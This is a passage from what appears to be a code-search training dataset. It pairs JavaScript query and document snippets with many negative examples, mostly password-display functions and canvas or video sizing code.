(payload.indexOf('`') !== -1) {\\n this.logger && this.logger(payload);\\n payload = payload.substr(0, payload.lastIndexOf('`'));\\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\\n }\\n\\n payload = JSON.parse(payload);\\n }\\n catch (err) {\\n this.emit('error', err + ' (res) for JSON ' + payload);\\n return;\\n }\\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\\n if (req.rsinfo) {\\n this.knownDevices[deviceId].ip = req.rsinfo.address;\\n this.knownDevices[deviceId].port = req.rsinfo.port;\\n }\\n this.knownDevices[deviceId].description = payload;\\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\\n callback = null;\\n });\\n req.on('error', (error) => {\\n // console.log(error);\\n this.emit('error', error);\\n });\\n req.end();\\n }\\n catch (e) {\\n if (retryTimeout) clearTimeout(retryTimeout);\\n callback && callback(e);\\n callback = null;\\n }\\n }\",\n \"buildModemInterface() {\\n return new Promise((resolve, reject) => {\\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\\n let serial_port = new SerialPort(this.uri, {\\n baudRate: this.baud_rate\\n });\\n serial_port.on('open', () => {\\n resolve(serial_port);\\n });\\n serial_port.on('error', (err) => {\\n reject(err);\\n });\\n serial_port.on('data', (data) => {\\n // buffer the received data\\n this.response_buffer += data.toString();\\n // check if the response code exists in our buffered data\\n this.response_codes.forEach((code) => {\\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\\n this.handleModemResponse({\\n data: this.response_buffer.replace(code, '').trim(), \\n code: code\\n });\\n this.response_buffer = '';\\n }\\n })\\n });\\n return serial_port;\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"sendMakeBetShan2(_chipbet) {\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"async function requestBlockchainInfo() {\\n return instance\\n .get(\\\"/tuichain/get_info/\\\")\\n .then((response) => {\\n return response.data;\\n })\\n .catch((error) => {\\n console.log(error);\\n return false;\\n });\\n}\",\n \"async function main(){\\n\\nvar password=\\\"pengshu\\\";\\n\\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\\nconsole.log(\\\"one branch\\\",oneBranchAccount);\\n\\n\\nlet unlock;\\n\\ntry{\\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\\ncatch(e){}\\n console.log(\\\"one branch unlock\\\",unlock);\\n \\n\\nvar message=\\\"I am the flash\\\";\\nlet signature;\\ntry{\\n signature=await web3.eth.sign(message,oneBranchAccount);\\n}catch(e){}\\nconsole.log(\\\"signature one branch:\\\",signature);\\n\\nlet verfication;\\ntry {\\n verification= await web3.eth.personal.ecRecover(message,signature);\\n}catch(e){console.log(e);}\\nconsole.log(verfication);\\n}\",\n \"function expressGETBuffer(){\\r\\n GenerateRandom(currentBuffer);\\r\\n app.get('/api/buffer',(req,res) =>{\\r\\n res.json({\\r\\n arduino: currentBufferArduino,\\r\\n dummy: currentBuffer\\r\\n });\\r\\n });\\r\\n //console.log(\\\"2a. GET to Server\\\");\\r\\n}\"\n]"},"negative_scores":{"kind":"list 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text;"},"document":{"kind":"string","value":"function getRandome (max) {\n return max[Math.floor(Math.random() * max.length )]; \n \n console.log(Math.random());\n }"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function WritePassword(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n\n}","function writePassword() {\n document.querySelector(\"#password\").innerHTML = password;\n\n }","function userInput(password) {\n document.getElementById(\"password\").textContent = password;\n}","function UserInput(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n}","function showPassword(displayPassword) {\n document.getElementById(\"password\").textContent = displayPassword;\n}","function writePassword(pass) {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = pass;\n\n}","function writePassword() {\n generatePassword()\n var passwordText = document.querySelector(\"#password\");\n passwordText.textContent = password\n\n}","function writePassword(password) {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(pd) {\n document.getElementById(\"password\").textContent = pd;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function writePassword() {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");//id selector = html line 22 \n\n passwordText.value = password;\n\n \n}","function passwordWriter() {\n let passwordText = document.querySelector(\"#password\");\n passwordText.value = password; \n}","function writePassword() {\nvar password = generatePassword();\nvar passwordText = document.querySelector(\"#password\");\n\npasswordText.value = password;\n}","function UserInput(output) {\n document.getElementById(\"password\").passwordText = output;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.innerHTML = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n document.getElementById(\"password\").innerHTML = password;\n}","function writePassword(){\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\"); \n \n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = displayPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n\n passwordText.value = password;\n \n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password \n}","function writePassword() {\n var password = generatePasswordContent();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n }","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = newGeneratedPassword; \n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword(password) {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword(); \n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function inputPassword(e) {\n document.getElementById(\"password\").textContent = e;\n}","function writePassword() {\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n \r\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\npasswordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password; \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n //\n \n\n passwordText.value = password;\n \n}","function userInput(finalPassword) {\n document.getElementById(\"password\").textContent = finalPassword;\n}","function writePassword(generatedPassword) {\n console.log(\"Generated Password: \" + generatedPassword);\n var newPassword = document.querySelector(\"#password\");\n newPassword.innerText = generatedPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = newPassword\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePW();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword()\n var passwordText = document.querySelector(\"#password\")\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n \n var password = generatePassword()\n //alert(password);\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function 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password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}"],"string":"[\n \"function WritePassword(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n\\n}\",\n \"function writePassword() {\\n document.querySelector(\\\"#password\\\").innerHTML = password;\\n\\n }\",\n \"function userInput(password) {\\n document.getElementById(\\\"password\\\").textContent = password;\\n}\",\n \"function UserInput(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n}\",\n \"function showPassword(displayPassword) {\\n document.getElementById(\\\"password\\\").textContent = displayPassword;\\n}\",\n \"function writePassword(pass) {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = pass;\\n\\n}\",\n \"function writePassword() {\\n generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.textContent = password\\n\\n}\",\n \"function writePassword(password) {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(pd) {\\n document.getElementById(\\\"password\\\").textContent = pd;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function writePassword() {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");//id selector = html line 22 \\n\\n passwordText.value = password;\\n\\n \\n}\",\n \"function passwordWriter() {\\n let passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\nvar password = generatePassword();\\nvar passwordText = document.querySelector(\\\"#password\\\");\\n\\npasswordText.value = password;\\n}\",\n \"function UserInput(output) {\\n document.getElementById(\\\"password\\\").passwordText = output;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.innerHTML = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n document.getElementById(\\\"password\\\").innerHTML = password;\\n}\",\n \"function writePassword(){\\n\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\"); \\n \\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = displayPassword;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n\\n\\n passwordText.value = password;\\n \\n\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password \\n}\",\n \"function writePassword() {\\n var password = generatePasswordContent();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n\\n }\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = newGeneratedPassword; \\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = 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document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\npasswordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = 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passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\")\\n \\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword()\\n //alert(password);\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() \\n{\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password; \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n \\n \\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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\"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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\"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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{\n\t\tcanvas.width = video_element.scrollWidth;\n\t\tcanvas.height = video_element.scrollHeight;\n\t\toutput_element.width = video_element.scrollWidth;\n\t\toutput_element.height = video_element.scrollHeight;\n\t\tconsole.log(\"Canvas size is \" + video_element.scrollWidth + \" x \" + video_element.scrollHeight);\n\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["_setupCanvas() {\n\t\tconst {video, elements} = this;\n\n\t\tconst virtualCanvas = elements.virtualCanvas = document.createElement('canvas');\n\n\t\tthis.context = elements.canvas.getContext('2d');\n\t\tthis.virtualContext = virtualCanvas.getContext('2d');\n\n\t\telements.canvas.width = virtualCanvas.width = video.videoWidth;\n\t\telements.canvas.height = virtualCanvas.height = video.videoHeight;\n\t}","canvasApp() {\n this.context = this.canvas.getContext(\"2d\");\n this.videoLoop();\n }","function makeCanvases() {\n w = _this.media.videoWidth;\n h = _this.media.videoHeight;\n \n // create a canvas to display the color-changed video, and a div to hold the canvas\n var candiv = document.createElement('div');\n candiv.style.position = 'absolute';\n _mediaHolder.appendChild(candiv);\n candiv.style.top = _media.offsetTop + 'px'; // so that the canvas will appear over the video\n candiv.style.left = _media.offsetLeft + 'px';\n _colorCanvas = document.createElement('canvas');\n _colorCanvas.style.display = 'none';\n _colorCanvas.width = w;\n _colorCanvas.height = h;\n candiv.appendChild(_colorCanvas);\n \n _colctx = _colorCanvas.getContext('2d');\n options.colorCanvas = _colorCanvas;\n \n // create a buffer canvas to hold each frame for processing\n // note that it just \"floats\" and is never appended to the document\n _bufferCanvas = document.createElement('canvas');\n _bufferCanvas.style.display = 'none';\n _bufferCanvas.width = w;\n _bufferCanvas.height = h;\n _bufctx = _bufferCanvas.getContext('2d');\n options.bufferCanvas = _bufferCanvas;\n console.log('The variable bufctx is ' + _bufctx);\n \n \n if (_coloring === \"color-no-change\"){\n return;\n }\n else if (_coloring === \"blackwhite\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n console.log('Playing. The variable bufctx is ' + _bufctx);\n options.redrawID = makeBW(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"sepia\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = makeSepia(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"custom\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = adjustColor(_media, _bufctx, _colctx, w, h, framecounter, _redAdd, _greenAdd, _blueAdd);\n });\n }\n }","constructor() {\n super();\n /**\n * video source file or stream\n * @type {string}\n * @private\n */\n this._source = '';\n\n /**\n * use camera\n * @type {boolean}\n * @private\n */\n this._useCamera = false;\n\n /**\n * is component ready\n * @type {boolean}\n */\n this.isReady = false;\n\n /**\n * is video playing\n * @type {boolean}\n */\n this.isPlaying = false;\n\n /**\n * width of scaled video\n * @type {int}\n */\n this.videoScaledWidth = 0;\n\n /**\n * height of scaled video\n * @type {int}\n */\n this.videoScaledHeight = 0;\n\n /**\n * how the video is scaled\n * @type {string}\n * @default letterbox\n */\n this.videoScaleMode = 'contain';\n\n /**\n * what type of data comes back with frame data event\n * @type {string}\n * @default imagedataurl\n */\n this.frameDataMode = 'none';\n\n /**\n * determines whether to use the canvas element for display instead of the video element\n * @type {boolean}\n * @default false\n */\n this.useCanvasForDisplay = false;\n\n /**\n * canvas filter function (manipulate pixels)\n * @type {method}\n * @default 0 ms\n */\n this.canvasFilter = this.canvasFilter ? this.canvasFilter : null;\n\n /**\n * refresh interval when using the canvas for display\n * @type {int}\n * @default 0 ms\n */\n this.canvasRefreshInterval = 0;\n\n /**\n * video element\n * @type {HTMLElement}\n * @private\n */\n this.videoElement = null;\n\n /**\n * camera sources list\n * @type {Array}\n */\n this.cameraSources = [];\n\n /**\n * canvas element\n * @type {Canvas}\n * @private\n */\n this.canvasElement = null;\n\n /**\n * component shadow root\n * @type {ShadowRoot}\n * @private\n */\n this.root = null;\n\n /**\n * interval timer to draw frame redraws\n * @type {int}\n * @private\n */\n this.tick = null;\n\n /**\n * canvas context\n * @type {CanvasContext}\n * @private\n */\n this.canvasctx = null;\n\n /**\n * has the canvas context been overridden from the outside?\n * @type {boolean}\n * @private\n */\n this._canvasOverride = false;\n\n /**\n * width of component\n * @type {int}\n * @default 0\n */\n this.width = 0;\n\n /**\n * height of component\n * @type {int}\n * @default 0\n */\n this.height = 0;\n\n /**\n * left offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxLeft = 0;\n\n /**\n * top offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxTop = 0;\n\n /**\n * aspect ratio of video\n * @type {number}\n */\n this.aspectRatio = 0;\n\n /**\n * render scale for canvas frame data\n * best used when grabbing frame data at a different size than the shown video\n * @attribute canvasScale\n * @type {float}\n * @default 1.0\n */\n this.canvasScale = 1.0;\n\n /**\n * visible area bounding box\n * whether letterboxed or cropped, will report visible video area\n * does not include positioning in element, so if letterboxing, x and y will be reported as 0\n * @type {{x: number, y: number, width: number, height: number}}\n */\n this.visibleVideoRect = { x: 0, y: 0, width: 0, height: 0 };\n\n this.template = `\n \n\n \n `;\n }","async function populateVideo() {\n // We grab the feed off the user's webcam\n const stream = await navigator.mediaDevices.getUserMedia({\n video: { width: 1280, height: 720 },\n });\n\n // We set the object to be the stream\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\n await video.play();\n\n // size the canvases to be the same size as the video\n console.log(video.videoWidth, video.videoHeight);\n\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n\n faceCanvas.width = video.videoWidth;\n faceCanvas.height = video.videoHeight;\n}","function paintToCanvas() {\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\n // Since the width of the photobooth is appx 1330px \n // the canvas will also take width of 1330px\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\n // therefore you can change the aspect ratio by changing the width and height of the canvas\n // if you remove the width 100% from its css , it will regain the size of 640*480\n\n // width and height = 640 * 480 \n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\n // setting canvas width and height = 640*480\n const width = video.videoWidth;\n const height = video.videoHeight;\n [canvas.width, canvas.height] = [width, height];\n\n // the video playing in the canvas is not a actual video\n // but rather a image showing every few millisecond (giving us a video like visual)\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\n return setInterval(() => {\n // ctx.drawImage will draw the image captured from the video feed\n // 0,0 are the x and y coordinate of the top left corner of the canvas\n // it will indicate that from which point the image drawing will start\n // width and height is of the destination contex(canvas)\n ctx.drawImage(video, 0, 0, width, height);\n\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\n\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \n // pixels will store the image data in form of array of rgb values for individual pixels\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // Rendering different effects for the pixels\n // Every image captured from the video feed every 16ms will go through these function everytime\n // The pixels returned by these function will have different rgb values as compared to the original pixels\n\n // This is for red filter\n // pixels = redEffect(pixels);\n\n // This is for rgbSplit(tiktok) filter\n // pixels = rgbSplit(pixels);\n\n // This is for green screen\n pixels = greenScreen(pixels);\n\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\n // ctx.globalAlpha = 0.8\n\n // this will put the modified pixels back into the canvas\n // thus showing the filter on the video\n ctx.putImageData(pixels, 0, 0)\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.fillStyle = '#000000';\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.lineWidth = 5;\n ctx.fillStyle = '#00FFFF';\n ctx.strokeStyle = '#00FFFF';\n\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function installcanvas () {\n\n // if there's an iframe\n var iframe = document.getElementById('tool_content');\n if (iframe) {\n \t\taddEventListener(\"message\", installfromiframe('#content', 'about:blank', ''), false);\n } \n \n // multiple videos as per\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \n else {\n\n // video locations that 